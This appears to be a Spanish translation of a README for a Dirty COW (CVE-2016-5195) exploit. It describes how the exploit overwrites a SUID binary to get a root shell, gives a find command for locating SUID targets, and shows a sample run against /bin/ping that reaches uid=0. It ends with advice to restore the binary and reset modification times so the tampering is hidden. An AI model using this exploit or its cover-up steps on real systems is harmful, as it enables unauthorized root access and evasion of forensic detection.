
Ejemplo de exploit para CVE-2016-5195
No soy responsable de nada de lo que hagas con este código. Este código se proporciona sin garantía alguna.
Exploit para CVE-2016-5195 que mapea un ejecutable SUID de solo lectura en memoria (solo lectura) y utiliza la condición de carrera para sobrescribirlo con un ELF de nuestra elección. Los payloads están disponibles en formato NASM junto con el código del exploit (cowshell-x86.asm && cowshell-x86_64.asm) si deseas ver lo que hay dentro de cashm0ney.
El payload eleva privilegios con setuid(0), coloca 0 en vm.dirty_writeback_centisecs para evitar el bloqueo debido a la escritura del sistema de archivos, y abre un shell (/bin/sh). Esta versión no intenta escribir en /proc/self/mem, por lo que debería ser viable en sistemas CentOS/RHEL. Aún depende de ptrace, por lo que puede fallar si ptrace está restringido en el sistema de destino.
Encuentra un ejecutable SUID propiedad de root al que tu usuario actual tenga al menos acceso de lectura:
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] Abierto /bin/ping [*] Respaldando /bin/ping en /tmp/ping [*] Archivo mapeado en 0x0x7f0cbe7ce000 [*] Esperando que el hijo alerte [*] Iniciando hilo madvise. [*] Alertado por el hijo. [*] Preparando para escribir 262 bytes [*] Intentando realizar escrituras. [*] Byte escrito a 0 [*] Byte escrito a 1 [*] Byte escrito a 2 [*] Byte escrito a 3 [*] Byte escrito a 4 [*] Byte escrito a 5 [*] Byte escrito a 6 [*] Byte escrito a 7 [*] Byte escrito a 8 SNIP [*] Byte escrito a 259 [*] Byte escrito a 260 [*] Byte escrito a 261 [+] w00t, escrituras terminadas [+] Abriendo shell. Recuerda restaurar /bin/ping desde /tmp/ping con los permisos correctos! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
Debes restaurar el binario que fue sobrescrito a su ruta original desde la copia de seguridad que se creó, y recuerda hacer chown && chmod para devolverle la propiedad y los permisos correctos. Ajusta las fechas de modificación para completar la trifecta.